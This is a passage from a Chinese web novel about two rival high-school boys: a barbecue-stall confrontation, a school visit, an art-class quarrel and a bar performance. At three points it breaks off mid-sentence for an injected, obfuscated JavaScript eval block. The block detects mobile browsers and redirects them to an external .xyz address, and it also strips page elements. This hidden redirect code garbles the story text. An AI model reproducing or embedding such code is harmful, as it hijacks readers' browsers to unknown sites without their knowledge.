陈向然晃晃手里半杯啤酒，只尝了点味道。他想到上回在巷头酒吧点的橙汁。浪费了，半口没喝上。 这也算齐怀生欠他的债了，下次可以让他请。饮料、烧烤、粉面……还有对面那家在这小街里充阔气的牛排店，吃到他腰包只剩下空气为止。他咬了咬嘴唇，暗自发笑。 ——他早就注意到了，身后四点钟方向那桌人。刚到时还是空桌，几分钟后他看到孙临潼的眼神，有意无意地往那儿瞥。他暗暗侧头，才见一群人气势汹汹地跨坐在塑料凳上，气氛跟周围格格不入，引人注目。有的脑袋一侧剃了道闪电图案；有的空着耳洞，还没彻底长回去；有的大概剃过莫西干，两边只长出一摊杂草头发，还掺着黄。大部分陈向然没认出脸来。 唯独戴兜帽那个背影，化成灰他都认得。 心里起了鬼主意，“当”地把小酒杯放回桌上：“孙临潼，你想想，学长这件事，可能是假的呢。” “那他撒谎技巧可太差劲了，”孙临潼吃了一半的竹签在盘边叮叮地敲，“那个生哥的状他也能编？” “他自己也承认，从来没受伤。这也能叫打架？”陈向然偷偷往斜后方瞄一眼——齐怀生背对着自己，接过南叔递来的两盘烤牛腱。 他往自己盘里看一眼，一样是牛腱，八串只剩下一串了。 点什么菜也能学？ “那怎么啦？”孙临潼问。 叶知细细咀嚼一片牛百叶，眼睛溜溜地转，一会儿看孙临潼，一会儿又看着陈向然。 “如果是真的，”陈向然指尖敲击桌面，笑意隐现，“那就是这个生哥被他揍了，窝囊。” “咳咳——” 身后破开一阵咳嗽声，齐怀生“咣当”放下酒杯，头上兜帽都给咳下来了，一头乌发在风里凌乱。一桌子人“大哥、大哥”地招呼，手忙脚乱给他递纸巾。陈向然愉悦地听着身后的动静。 还不罢休：“我上回碰上他，叶知看到了，对吧？” 叶知躲了一下视线，点点头。 “碰上谁？那个生哥？”孙临潼一脸将信将疑，“他长什么样？当时怎么样？” “你看我现在怎么样，当时就怎么样。那生哥就是徒有虚名，徒有虚名。”他故意在骂词上重复念叨。 “不对……”孙临潼一口撸下一串羊肉，大口咀嚼了两下就咽了，“陈向然，你这顿饭话有点多啊。我中午跟你借试卷抄答案，你连个屁都不放。” “……是么？”陈向然笑，手里甩着竹签指他，“有你请客嘛，我高——” “有人请客就赶紧吃，吃完了好上路。” 竹签一顿。 身后骤然稀里哗啦，七八张塑料凳同时挪动，一桌人站起来。孙临潼正对着他们，脸都绿了，手一伸挡住了叶知。 只有陈向然不急，头都不回，慢悠悠吃完最后一口牛腱子，竹签扔回油得反光的不锈钢盘，又慢悠悠地抽张纸巾抹嘴。 站起来，转身面对一群二流子。天色越来越红，越来越深，夕晖从他身后漫来，他脸颊藏在背光的灰暗中，一动一动的，还在嚼肉。 他面无表情，边嚼边说：“这次又要干嘛？” 齐怀生撸了一支烤串，手指悬在半空中一松，竹签“嗒”一声，正好掉在不锈钢盘里：“把某个背后说别人坏话的家伙，抓现行。” 好几个人同时游鱼一样绕到他身边，制造出不祥的响动，周围的食客吃的速度都加快了。几个刚吃完的白领夹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301926|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着公文包，远远绕了一圈走人了。叶知和孙临潼迫不得已退到一边，看着陈向然被他们控住手脚。叶知喊了声“向然”，被齐怀生看了一眼，不得已噤声了。 陈向然本是被控制的那个，反倒像躺了把龙椅，神态悠闲，对孙临潼说：“行了回去吧，保护好女生。对了，顺便帮我把校卡带回去。” 孙临潼用眉毛表达他极度的疑惑：“请完了兄弟，就把兄弟留虎口里，我是这样的人？” “行了，没关——” 孙临潼呸一声，走到他们中间，跟齐怀生面对面打量。陈向然算看出来了，这人小腿微颤，个子跟齐怀生差了一截，怎么看都从气势上输了。但是叶知在旁边就不一样，逞个强对他来说值，连本带利的值。 “同学啊。”孙临潼指着他，故作轻松地敲敲脚尖，“对我们海中的动手不是好买卖，我们校长，有的是办法往上边告，给你们学校领导施个压，”他挨个指过这群人，“你们，一个个都得回家蹲去。” 陈向然看着他，叹了口气。这种话，准是从小被他教育局的爸耳濡目染，一套一套的。 “现在不好好读书，光知道打人，将来吃大亏的是你们。” 齐怀生在夕阳下眯了眯眼，上下打量他，默默提了下嘴角：“听你的意思，在大街上不比拳头，还想比分数？” 全体发出夸张的笑声。齐怀生接着说：“你亮张满分试卷，看看我放不放人。” 陈向然忽地听见链子叮铃响——申恺不知什么时候来了，从人群最后走上来：“学傻了呀？我们生哥还不稀得跟你们‘小学霸’比。”小学霸三个字捻出了讥讽的味道。 陈向然听不下去了，撇了撇嘴，两手从那些人手里抽出来，活动活动手腕：“行了……我还不知道你今天是来请谁的？” 孙临潼被拆穿，回头冲他傻笑。又怼了齐怀生一句，正要推着叶知离开此地。叶知磨磨蹭蹭的，一直看着陈向然，就是不走。 眼见着齐怀生命令那些小混混别让陈向然走了，而后他后退一步，浅鞠一躬： “今天能为你做点什么？” 叶知：“……” 孙临潼：“？？？” 陈向然偏头，见他们石雕一样杵在路边，只好又赶他们：“回去吧，记得帮我拿校卡。” 叶知迟疑地被孙临潼推着走了，时不时回头看两眼。申恺顺着陈向然的视线方向，多看了她几眼。目光沉静，没什么表情，两指夹下嘴里的烟，吐出一口云雾：“妹子不错啊，陈向然，你的？” 陈向然看向他，他那双凤眼还落在人叶知的背影上。孙临潼走在她身边，做着夸张的动作，不知在吹什么牛。 陈向然心思多，做事喜欢多想两步。叶知，还有班上其他女生，平时都爱出校门，这要是因为自己而被申恺这种海货认识了…… 他没有回答申恺。 整条街被大山落日油刷出建筑的片儿影、电线的笼影，和鱼群一样的人影。齐怀生迎光站在余晖里，额前碎发轻飘，目光沉而炯亮。他看看申恺，又审视着陈向然。 直到陈向然将视线从叶知身上收回来，两人正对上目光。 四周仿佛静了下来，人影往来攒动，他们在人流中原地相觑。 8. 有主 “看我干什么？”陈向然轻笑，“不如请吃饭吧，一顿烧烤打发不了我的胃。” 齐怀生手伸进裤兜，捣了捣，像捏住了什么物品：“那就两顿？” “两顿牛腱子，把我吃反胃，以后替你省钱？” 齐怀生给他气笑了，眼神一一扫过对面成排的餐店：“你吃烧烤，难道只吃这一样？” “是你提要求，还是我提？” “你。” “行。”陈向然肚子里又冒了黑水，“那边那家，看到了么？请我一个套餐就好。” 齐怀生随他的指向看去。 是一家以牛排为招牌菜的西餐厅，开在这半山街头上装阔气。倒不愁没生意，它把位置选在了景区入口处，朝着景区内外各开一扇店门，垄断了景区和附近的生意。牛排煎得一般，可皮相高档，到底是家体面的餐厅。 陈向然想着，破他一次财，让他知道自己不会客气。这要是个不计开销的阔少爷，今后更往狠了宰，他左右不亏。 萨克斯手？谁知道他们找人干什么。 齐怀生沉默了好一会，嘴唇张了张，又抿成一条线。 他低头瞄了几眼。揣兜的手往外抽出半只，掏出一叠纸币——全是碎票子，五毛、一块、十块，在他裤兜边缘露出一纸边角，又重新塞回去。 他像是被长街那头的落日晃得不舒服，蹙起眉心，微微眯眼，看向别处。 陈向然微愣，他大概是第一次看到这名为“窘迫”的神情。 “这个留下次，算我欠你的。”齐怀生说，“今天换点别的。” 陈向然自知戳了人脊梁骨，不再提这事：“那带我进你们学校看看。能进去不？我还没去过那一带。”他一直想去山下的小县城里逛逛，担心迷路，便搁置了计划。 “能进。”齐怀生一扬手，一众人便松开他，往前带路。 他们穿行在老街里。这个时间，学生和白领都往东回走，他们却迎向夕阳、逆着人流西进，脸上流淌着一层灿烂的光。这群人玩着玩着还要打打架，互相拉扯，披着天空的金红色，拖着长影跑前跑后。 陈向然跟齐怀生并肩，走在人群前方。他脱了校服外套团成团，抱在怀里，只穿着里面的白色短袖，风一吹来，衣摆上的英文波浪般滚动。 后街的前半段不拦太阳，一拐弯戳进西南向，建筑就挡了大半阳光——老旧、潮湿，只厝角上切了几角阳光，拢住高处电线上吊挂的麻布衫、被单。 街道坡度向下。石川中学远在山脚，看见巷头酒吧了，还远远望不见石中。 “还没到啊。”陈向然抱怨，“你把我带哪儿去？” 齐怀生说：“你想我带你去哪？” “你们石中，这么闲呢？天天往外跑。” “你知道我们闲了？”齐怀生不知什么时候叼了根烟，打火机“蹭”了好几轮，才点亮一丝火星，“你遇上我们，代表你也在外面闲逛。” “我从来只走大道。”陈向然小狐狸似的眯眼，狡黠起来，“不捅厕所的天窗，更不钻菜园的狗洞。” 齐怀生一愣，随即笑出了声：“他们都被我教训了，事不过三，没有下次。你们海中破个洞事小，我兄弟毁自己前途事大。” “你恐吓我们学长，就不是毁前途了？”陈向然顿了一下，细细观察他的表情，“你的烂名声，早在海中传开了。” 齐怀生呼了口烟雾，没有答他。 白烟袅袅，他的脸在昏暗的街里更加晦暗不清。他抽烟很凶，很快就剩了半截、三分之一、最后的烟头，仍在地上，鞋底碾灭火星。即刻换了下一根。滤嘴端刚送到唇边，就被陈向然抢了去，夹烟的手指顿在半空。 “增加一个要求，”陈向然晃晃手里的烟支，“我的问题，你必须回答。当然，我有时候可以允许你不回答。” 齐怀生被挑了烟瘾，一股无名火上窜，粗暴地将他拉过来。他长得高，居高临下，呼吸像闷雨倾盆激起的热浪：“提要求的时候小心点。这里没人敢和我这么说话。” 陈向然隐隐颤了一下，硬是把口气挂住了：“这是为了你嘛。” “为了我？” “你为了找个吹萨克斯的，都被我们校领导盯上了。什么事重要过你的学业前途？”陈向然迎上他那张五官冷硬的脸，呼吸绞缠，近在咫尺，“难道是另一个什么前途？” 他像个生了保护色的花蝴蝶，把“探人底细”包装得像个合情合理的玩笑。 哪想齐怀生直接交代了：“没错，另一个前途。” 陈向然没说话。 “那个萨克斯手——” “哥。”申恺横插一脚，“这小子算老几？别让他套了话。” 陈向然斜觑他一眼：“你生哥还能听你的？” 齐怀生：“听。” 陈向然：“……” 石中的校园面积不比海中小。 一半上了山坡，一半平地铺展，操场不大，靠着学校围墙。墙上黑不隆咚的全是腐朽青苔，布满红的蓝的涂鸦。 满是泼彩的飞扬恣意。 申恺他们到了操场，立马加入了别人，篮球“咚咚”地拍击地面。陈向然绕过篮球架，直奔那面涂鸦墙。 海中操场有一面平滑完整的石壁，是大自然留给海中的鬼斧神工，几乎没有人工修缮。海中学生在晨会上提议涂鸦，彰显海中的个性。却被校长驳回： 咱们学校的特色，就是高度的纪律性。 学会服从，才让你们在竞争中优秀，脱颖而出，这是我们学校的宗旨。今后你们踏上社会也一样，适应规则者得天下。 涂鸦不符合我们的学校文化。别以为校长不知道你们的小九九。 陈向然起初也不懂什么“小九九”，后来才明白，学校对于学生不满学校制度心知肚明，担心学生在涂鸦里，藏了“心思”。 这过于锐利，不够服从。 “这么喜欢画？”齐怀生来到身边，抬头欣赏自己学校的涂鸦。 陈向然扭头，看到对方清晰的下颌线，被愈来愈深的红色落日勾出橙黄的边。 他的身后，柏油地是灰的，操场是灰色水泥，墙楼是黑灰的砖，夹了点湿润的青苔。 这些颜色都太规矩了。 只有这面涂鸦，冷暖忌色，不合常规，却又并非杂乱无章，那其中有想法，有作画者另外的规矩。 艺术涂鸦，暖黄的落日。 “整天跑酒吧画画，你是艺术生？”齐怀生问他，“不对，艺术生应该去学校画室。” “我们学校不设画室。艺术生我还不算。”陈向然说，“还没决定。” “没决定？”齐怀生逗趣似的挑起眉，伸出大掌揉揉他的头：“高一的小朋友？” 他指尖带点茧，勾了发丝，被陈向然捉住摘了下来：“高一怎么了？” “我高二。” “哦，老不中用了。” 齐怀生手腕搭他肩上，惩罚似的往下一压：“有资本追求就勇点儿，别犹豫不决。这跟你追妹子一个道理。” 陈向然：“？” 他什么时候追过妹子？ 申恺他们跟其他校友在操场上玩疯了，外套都甩在篮球架底下，和几罐淌着水珠的矿泉水放在一起。边跑边抓着衣服前襟擦去脸上的汗，大喊传球。 男生大都喜欢打篮球，陈向然不大理解。学业、兴趣班、课外补习，他没有时间走上球场，以至于发现自己失去了与人联络感情的基本能力后，也只能表示自己不爱打。 “怎么样？视察完我们三流高中，大领导还有什么指示？” “你们那么多人不穿校服？” “嗯，一三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301927|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五穿，二四随意。”齐怀生席地而坐，把陈向然也拉下来，“也有人嫌麻烦，天天穿校服。” “就算穿便服，申恺那链子……” “教导主任抓过几次，都懒得抓他了。”齐怀生指着篮球架下扣篮的一个，“喏，张亿，脑袋上一撮闪电那个，也被教育过，现在等着头发长出来。还有何晋，前阵子说不读书了，要去外头闯。他爸拗不过他，让他暂时休学，结果几天就回校了。”说到这他带了点笑意，“听说被他爸带去工地上折腾了一天，回来后突然就觉得那廉价耳环幼稚，自己摘了，耳洞长回去一点。” “这种事，不扣分不开除？” “扣什么分？” “就那种扣分机制。”陈向然轻轻比划，“扣满多少分就处罚、处分什么的。” 齐怀生摆摆手：“衣服头发都不算什么。我之前逃课，被班主跟踪，在酒吧被逮了。是个女老师，雷厉风行的，大街上训我半天。最后没搞处罚，也没告诉学校。”他哼笑一声，“逊毙了。” 齐怀生叨叨，他便听着。晚霞的色彩像那幅涂鸦一样鲜艳。自然与人类的艺术在这副光景里神奇地融合了。 陈向然感觉到明亮。 听到最后，他听得出齐怀生其实很尊敬他的老师们。 “我听说……这里的老师都没有职称？”陈向然问。 “无名学校，老师学历没那么高，限制了。” 聊到职称，他想起了严霖辉。 太阳落山，起伏的丘陵又被刷上浓暗的水墨色。气温降下来，山风很低很低地掠过操场。奔跑的少年血都是热的，感觉不到冷，仍在球场上挥汗如雨。 “还是你们自由。”他说。 “不如说是散漫。”齐怀生接过兄弟递来的汽水，转而让给他，“你们出成绩，有你们的道理。” 面前伸来一罐冷汽水，陈向然看着汽水瓶上密布的雾珠，冰冰凉的，落在自己盘起的脚踝上。他伸手接过来，拧开，喝了一口。 “嗯。”他拧上盖子，“能出成绩的，总是没错的。对吧……” 齐怀生没听出他的别扭，转过脸，看他伸了粉色的舌尖，缓缓舔去唇下橙色的饮料液珠。 转开脸，咽了咽喉咙。 夕阳微醺，他们一直聊到夜幕降临。有人给齐怀生送来一封信件，他收下了，没有拆开，转而问陈向然许多问题。 大概是这天孙临潼请酒请得太阔，酒劲未消，陈向然竟想把人当朋友看了。 他迷迷糊糊，隐约看到信封上，写了三个大字“生哥收”，却没有落款。 他要回去了。 齐怀生带一众人送他一段路，他往坡上，他们往坡下，分道扬镳，回归到两个不同的世界去。 弟兄们嬉笑打闹，没有马上回家的意思。齐怀生站在人群外，看着陈向然的背影渐渐缩小成点，消失在小镇入口的拐角处。他伸手摸摸口袋…… 剩的那根烟没了，忘了要回来。 他扯扯嘴角，下一秒跟太阳穴长眼睛了似的，手猛地一伸，扯住申恺的耳朵：“看什么呢？” 也盯着同一方向的申恺猝不及防一个趔趄：“哎哎生哥轻点。” “想什么？”齐怀生没有撒手，面无表情，冷焰一样的视线从他身上扫过，“又给她写信了？嗯？” “不敢不敢，生哥，我不泡妞，要当好学生了。” “如果是说给我听，还是少费点口水吧。” 齐怀生松开他，看着海中高耸的教学楼。 冰冷的灰色石砌建筑融在夜色中，亮着点点白光。陈向然说过，每天晚上离晚自习还有十五分钟，整栋楼就肃穆得像一堵边塞城墙，随时准备吹响高考的冲锋号角。 “人前途无量，”齐怀生上下嘴唇一碰，也不知说给谁听，“当下还有主，就别惦记了。” 9. 野犬 那幅涂鸦在陈向然脑海里萦绕。于是第二天，他又去了巷头酒吧。 还是那个角落，没点人家的饮料。他匆匆立起画架、挂好画布，鬃毛笔尽情挥洒。这回他不摸着构图规律来，肆意而涂，不到一小时成画。将画立起来端详许久。 画中央是个盘腿而坐的侧影。以仰视的视角，连同金红交融的夕阳余晖一并画了进来。也或许不是夕阳，他只是用一滩黄的绿的红的油彩随意涂抹，像树林、像操场、又像花园，热烈又张扬的背景色大致勾勒出中间这抹白影，再用极细的笔触，蘸乌木黑，勾勒出飘扬的头发、衣服的几寸阴影，人影便成形了。 饱和度并不高的背景，围勒一块显眼的白色。纯白的少年坐在彩色的世界里，两手后撑，头微微后仰，像是在感受风。他没想画谁，但画完了仔细一看，无意间勾了齐怀生的体型。 从昨晚开始，齐怀生的声音就一直住在他脑子里。 什么勇一点，别犹豫，不然真瞧不起他云云。他被这股挑衅的声音推着去问程希，问出一些学校文化分和艺考分的比例，心里大致有了方向。 这回来酒吧还带了手机，要好好和林岚谈谈艺考培训。 “哦，就是去兴趣班嘛。不占用你补习的时间吧？” 陈向然猜到了，对面的第一反应必然是这样。 中午有补习课，做不了别的事情。他想了想，也只能从晚自习里抽些时间。 “不耽误，我晚自习请假。”他顿了一下，多征求一句：“行吗？” 对面沉吟良久，久到陈向然的思绪就快飞往别的世界。林岚突然“哎”了一声，说：“然然你记不记得？你小学的美术老师，姓简的那个，现在在石川有开班，你周六去那学，顺便留宿吧。妈妈也正好要出差。” 陈向然眉头蹙起：“只有周六，会不会太少了。” “唉，你要什么时候嫌补习太少，我可烧高香咯。” 于是，相隔七年，他又见到简仲，那个大腹便便、脸上老挂着憨笑的美术老师。 他说他原先在市区的住所已经租出去，现在靠收点租金维持生活。石川这边的住所太小，位置还尴尬地塞在两所学校正中间，硬是避开了“学区房”的帽子。即便租出去，每个月也收不过千来块钱。 “老学生了。”简仲笑起来，脸上的肉就堆到一块，眼睛都看不清了。他揽着陈向然走进画室。“老师可以给你开一对一的单独课，学费单在这。你看怎么样？现在开始上课？” “画具呢？” “用你自己的。我这只提供画架。” 陈向然环视这间画室，窗户有两扇，都在北面，被外面一堵高高的土坡挡了一半光。房门朝西，空气不能对流。窗边摆放了两个画架，光束笼罩着，空气里漂浮尘埃木屑。地上倒是煞费苦心铺了木板，却被潮气腐蚀出了缝隙。 他皱着眉坐下，拿出携带的画具。课堂流程先是听讲，再是按今天的讲解要求，现场完成一幅画。 他不听简仲的，仍然回忆着石中操场那片涂鸦。 一边画，一边觉着浑身浮躁，像有螨虫滋滋啦啦钻遍每一个毛孔。简仲的住所很混乱，衣架倒在门后，窗上反倒撂了件汗衫。四处陈陋昏暗，能看清东西，却让人心里明亮不起来。 他上课还是多年前的风格，没有一丝改善，讲极基础的内容，还常常讲错，或是乱入许多教材上的所谓心得。陈向然不知道是自己变了，还是这位简老师一直在原地踏步。 画毕，他发现自己涂了画室里唯一的窗。镶着栏杆，窗外土坡上的岩石花纹张牙舞爪，像只笼中的野狗。坡上方的光线被挤压。这种挤压感，他用白、金、红、棕渐变，分别营造将要炸裂和将要沉默消失的视感。 他抬头从画架上方看简仲，他正把几幅色调清新、画着笑脸的学生习作随意折叠揉捏，塞进有霉味的储物柜里。 到处都很乱，他不得不收拾收拾。 “画好了吧？”简仲“吱呀”合上柜门。 正好下课，陈向然一秒都不逗留，背起书包，拍了张百元大钞在桌上，说他要走了。 简仲把钱拿还他：“哎哎，一个月交一次，到时一起结算。” “老师，您教过艺考学生么？”陈向然的声音干干的。 他只稍微愣了一下，眼珠子转得飞快，直说有的，来他这里学的不是孩子就是艺考生。陈向然问，统考，也用得着蜡笔么？ 简仲不说话了。 陈向然心里一阵疲惫，低头转身，吱吱呀呀踩着木地板，打开画室的门。一拉开，外头的冷风迎面扑来。 下雨了。 他刚迈出一脚，只听身后说：“我就是艺术生出身。” 他定了定，收回了脚。 “老师我，也是普通人嘛，文化分不高，走艺术还能上个本科。这高考啊……”简仲顿了片刻，“不管你考什么，最后都是一份工作，对吧？一个营生罢了。别说你学文学理还是学什么，就算是高学历，不能让人拿到份好工作的，就是没用。都是条路，分那么开作甚。” 他看着外面的雨越下越大，怒号一般，工地、小楼、长街、学校，整座山都被镇压在它的声浪瓢泼之下。 “不管上什么学校，学美术就是当老师。我知道你们这些孩子都在想什么创作，艺术这玩意儿啊，不附商则依政。要是一般家境，以后也就那么回事儿。还有啊——” 门突然“砰”地甩上，简仲吓了一跳，再一看，人已经离开了。 他自认恳切的一番言辞留不下一个学生。一回头，画架上的那幅画仍在那——色调饱满，对比强烈，极致挤压。 他没带走。 今天有雷阵雨，陈向然站在街边，身后是脱漆的防盗铁门。他慌慌张张撑开伞，用力过猛，又逆着风，伞骨折了一根，把伞面戳出一洞，彻底撑不开了。 雨哗啦倾倒下来，小城上空随即拖过一串马车声般的轰雷。大片乌云啃噬天幕，阴沉沉地压下来。 他借着坏伞，勉强撤进路边酒吧的雨檐。 伞洞落下的水湿了头发，只好晃着脑袋甩去雨水，像一只可怜兮兮的奶狗。发型成了刺猬，一撮一撮岔开去，发梢却像是受了委屈一般，微微向下耷拉。 天气入凉，黑夜也赶得快。山路蜿蜒着点亮灯火。 陈向然等了半小时，没等到雨停。 屋檐雨珠成串坠进地上的水洼。路灯昏黄被水幕扭曲了形状，悠悠晕染开去，像被搅碎的月影。 夜里是这些流浪年轻人的场子，他身后的酒吧气氛蒸腾，灯光暗红、深蓝、幽绿、明黄，游走在这个不大的空间里，男人的劝酒和女人的娇嗔此起彼伏。陈向然厌恶吵闹，以至于纸巾用完了，也没想走进去。宁肯蹲在门口墙角下。 发梢的水刚刚擦去，还沾着纸屑，不多会儿又“嘀嗒、嘀嗒”落下水珠。 他撇撇嘴，觉得自己像只狼狈的流浪猫。 不出两分钟，流浪猫被人捡了——有人拎了一下他的后衣领。抬头，看见一张不想在这时看到的脸。 “是你啊。”齐怀生低头看他，没什么表情，一手叉着腰胯，“发型变了，差点认错人。” 一本正经地嘲笑他淋了雨。 陈向然没理他，站起来抖抖伞，试着撑了一下，没撑开，断了的伞骨跟别的伞骨以一种拓扑学才能解释的方式缠在一起。 齐怀生就静静看他，等他毛手毛脚地从撑伞、到研究伞、再到收不回伞、最后放弃之后，别过脸，嘲笑似的哼了一声：“不进去么？” “进去干嘛？”陈向然瞥他一眼，“我又不喝酒。” “不是说过的么，你可以向我提要求。”齐怀生不负所望地又露出他的奸商嘴脸，趁火打劫，“比如借你条干毛巾什么的。” 陈向然眯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301928|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起眼看他。 齐怀生带路，他紧随其后。 入门左拐的角落有扇“闲人免入”的门。齐怀生有钥匙，一拧便进去了。门后是条弯曲的长廊。看方向，大致是通往酒吧舞台的后台房间。通道里没人，光线比外边还要昏暗，脚步声一下、一下荡出回音。 陈向然左顾右盼：“你家开的？” “倒好了。”齐怀生沿路摘了条抹布，拎着一角甩到肩上，“我在这里打工。” “洗碗的？跑堂的？”陈向然沉吟须臾，又猜：“陪酒的？” 齐怀生奇异地沉默了一会…… “驻唱。”他说，“二十分钟后是我的场。” 此时，舞台上的乐队正在吹黑管萨克斯、打爵士鼓，演奏的是本地方言的歌，曲调带点南洋风味，节奏轻巧，容易引人跟着哼唱。木板墙把热闹隔挡在外，长长的走廊里只能感受到鼓声的振动。 到了后台，齐怀生把一条毛巾拍在他头上，顺带给他一把带广告的弹簧伞。后台和前场只隔一块漏缝的木板，灯球彩光从缝隙溜进房间，红的绿的光斑在他们身上泥鳅一样滑过。 “谢了。”陈向然边擦拭边说。 “擦完记得搓干净，那是我脸巾。” 陈向然：“……” 怪不得上面的檀木香那么熟悉。 “给你弹一首，看你听过没。”齐怀生抱起吉他，在长凳上坐下。 陈向然拖拉毛巾两端，站着洗耳恭听。但他只扫了下弦、弹了两音，还未成曲，就发觉不对，说：“等会儿，我调调音。” 陈向然也听出来了，没说什么。头发三两下就擦了半干，不落水了，毛巾还披在头顶，坐在一旁的折叠椅上。 这里静得不闻一丝风声，只有他“噔噔噔”的调弦声，和隔壁模糊不清的说话声。 一个音还没拧到位，他忽然警觉地看向某处。 黑暗里，除了隔壁窸窸窣窣的说话声，还有“咚、咚”的脚步声。齐怀生起身到拐角处观察，不一会匆匆跑回来，把陈向然整个人转了个儿，往前推去。 “快，藏起来。” “藏什么藏！老子看见了！” “……” 陈向然回头，望见一瘦得略微脱相的人。 戴着圆眼镜，脸颊上一颗醒目的黑痣，鼻子尖尖的，嘴巴又窄又厚，镜片后眯了一双小眼睛。打眼看去，满是刻薄相。如果不是胸前挂了一块写着“店长”的牌子，陈向然还以为是街上的哪个流氓。 “店长。”被发现了，齐怀生手插着兜，大方承认，“我一会带他出去。” “要我跟你们这些崽子说几遍？别他妈随随便便带人进来。齐怀生，你想赚工钱，就搞清楚你是谁。地扫了没有？你看你看这这这……”店长踢着地上一片纸屑，瘦得皮都皱起来的手指抽筋似的指点，“后台卫生没搞好，今天你就不准上台，钱也没有！” 这里的表演人员都是临时工，工钱按小时结算，还包揽了后台的卫生。上台前没按要求收拾好，店长可以随意克扣。都是店里的规矩。 工钱当头，能屈能伸。齐怀生见惯了这种情况，懒得争论，不慌不忙地转身，沿着走廊去了二十米开外的杂物间，从一堆乱七八糟的东西里挑出扫把和簸箕来。 离上台还有十分钟，就算扫好了，也来不及调琴。 “嘁……来这里的，一个个以为将来大音乐家呢。有那资本用得着光临下店？”店长背手转身，往吧台的方向去，嘴里喊着话，像是故意给齐怀生和隔壁什么人听的，“都是捡来的野狗，真把这当自己窝——” 啪—— 狭小的空间荡出巨大回声，店长吓了一跳，眉心突起拧成“川”字，回身看见陈向然，一时没说出话来。 陈向然摔了毛巾团，脸上的笑似有若无。目光落在人身上，寒冰一样冷彻骨髓。 “你再说一遍？” 10. 孤吟 陈向然本不爱管人闲事。 只不过今天在简仲那憋了一肚子火没发，这下有个人撞他枪口上，又点了把火…… “一个店长，当自己是老板了？”陈向然打量着他。 “这儿是你学生仔进来的地方吗？滚出去！” “别装，你敢不给他上台，敢不敢彻底炒他？”陈向然指着外边的灯红酒绿，“来，去问问，有多少客是为了看他才来你这破店。” 店长忽地闭了嘴，眉心纹路皱得更深。 进门的时候陈向然就注意到，全场至少三分之一的人在议论齐怀生。大部分是女性，少女、熟女皆有。也有男性，大多是这些女性的情人。 他都听入了耳，只是没有回头看一眼。这本不关他的事。 “音乐家……你这荒山野岭的小店倒配得上。他是你的客流量，最好客气点。业绩下降，老板是罚临时工还是你这店长？” 店长当即呸了一口：“你他妈谁？学生就乖乖回家去，我的店，轮到你指手画脚？” 说着又放了句骂词，加上“下次别让我看到你”这种不软不硬的狠话便走了。因为外面有人喊他，似乎是酒上慢了，有客人闹事。 齐怀生正好提着扫帚簸箕进来，站在他身后，没有立刻喊他。只是意味深长地盯了他一会。 “生气了？” 陈向然转过身，眼神瞬间变得平常。 “没什么。” 工具倚放在墙边，齐怀生再次趁火打劫：“帮我扫，我调音。” “给钱么？”陈向然叉腰。 “免费让你听我一曲。”齐怀生大言不惭，坐下拧弦调音，“我可是很贵的。你亏不了。” “不愧是生哥。”陈向然抓过扫把簸箕，扫起地来，“还是这么精打细算。” “你这算是倒打一耙？” “你第一天认识我啊？” 两人互相看着对方，轻轻地扯了个笑，各自扭开目光。近乎死寂的空间，空气渐渐流动了起来，连墙上的灯光都有点暖融的意思。 “你弹什么？” “跟你提过的。” “不记得了。” 琴调完了，齐怀生扫了下弦，音律如水，流淌而出。 陈向然立马听出来了，是他在汇演上吹奏的那首无名小曲。那时候只听了一段音频，不知道歌名，他自己扒下了旋律再加以萨克斯版本的改编、延长，成了参赛曲目。报名时要写曲名，他随手就写了个《孤吟》。 齐怀生的版本接近原版。时而起伏如海水涌动，时而反复弹奏一个和弦，像是持续的低吟声。他还没弹到副歌部分，外面的乐队已经谢幕，该他上台了。 他撩开布帘，两人一齐出去。陈向然拉了一下他的衣摆。 “先走了。” “嗯。”齐怀生背上吉他，走到了聚光灯下。 陈向然不知第几次与他这样分道，朝完全相反的方向走去。走得不算干脆，回头多看了一眼——舞台灯光调成了湛蓝，齐怀生穿着纯黑短袖，下.身是随意的军绿色灯笼裤，裤腰上悬挂两条银链子。陈向然认出那是申恺的链子，上面有几个十字星装饰。 他绕过闪烁的灯光和摇曳的酒水，经过一桌吵吵闹闹的客人。有个穿夹克的红毛大声吆喝着喝酒，用油腻的动作和言语哄他身边的女孩。陈向然皱了皱眉，提着齐怀生借的伞，走出酒吧。 雨小了一点，地上坑坑洼洼，聚起一个个小水塘。 陈向然捣鼓着伞，半晌，还未撑开，被酒吧里传出的乐声一下抓住了耳朵…… 齐怀生唱起来了。刚刚在后台，当着陈向然的面只弹了伴奏，一字都没有唱出来。他想着就笑了，这位“生哥”也有不好意思的时候。 齐怀生的歌声轻柔缱绻。 